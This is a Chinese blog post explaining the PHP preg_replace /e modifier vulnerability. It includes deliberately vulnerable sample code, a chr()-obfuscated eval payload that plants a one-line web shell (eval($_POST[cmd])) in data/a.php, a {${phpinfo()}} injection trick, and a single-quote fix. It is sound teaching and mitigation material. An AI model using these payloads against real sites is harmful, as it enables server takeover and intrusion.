• preg_replace危险的/e修饰符,慎用!!!


    preg_replace函数原型:


    mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])


    特别说明:

    /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。 

    举例:


    <?php
    preg_replace ("/(</?)(w+)([^>]*>)/e",
                  "\1.strtoupper(\2).\3",
                  $html_body);
    ?>


    这将使输入字符串中的所有 HTML 标记变成大写。 


    安全威胁分析:

    通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:


    <?
    echo preg_replace("/test/e",$_GET["h"],"jutst test");
    ?>


    如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。

    如果我们提交下面的代码会怎么样呢?
    ?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
    chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
    chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
    chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))

    密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);

    执行的结果是在/data/目录下生成一个一句话木马文件 a.php。


    再来一个有难度的例子:



    <?
    function test($str)
    {

    }

    echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]);
    ?>


    提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?  

    肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了。

    有没有办法让它执行呢?

    当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么呢?

    在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。

    注意:双引号中的函数不会被执行和替换。

    在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果(${phpinfo()}会被解释执行)。

    可以先做如下测试:

    echo "{${phpinfo()}}";   phpinfo会被成功执行了。


    如何防范这种漏洞呢?

    将'test("\1")' 修改为"test('\1')",这样‘${phpinfo()}’就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。


    参考文章

    《php手册 - preg_replace》 http://www.yesky.com/imagesnew/software/php/zh/function.preg-replace.html
    《Uchome <=2.0 后台GetWebShell 漏洞》  http://www.5luyu.cn/article/jishu/708.htm
    《preg_replace漏洞利用详解》 http://www.dbgger.com/?id=334 (这网站界面巨像安全焦点)


    附测试代码: 
  • 相关阅读:
    Linux mint下firefox安装flashplayer
    Linux mint下安装iNode遇到的几个问题
    FireFox浏览器访问ip6域名的问题
    用牛顿迭代法和二分法求方程的根
    VC6工程向导制作
    配置多个版本的python的系统环境变量
    C语言习题解答:求某一天为一年中的第几天
    使用Python求解水仙花问题
    Python语言中round函数的一个疑惑
    Linux下安卓手机管理软件QtADB的使用
  • 原文地址:https://www.cnblogs.com/mutuan/p/2423021.html
Copyright © 2020-2023  润新知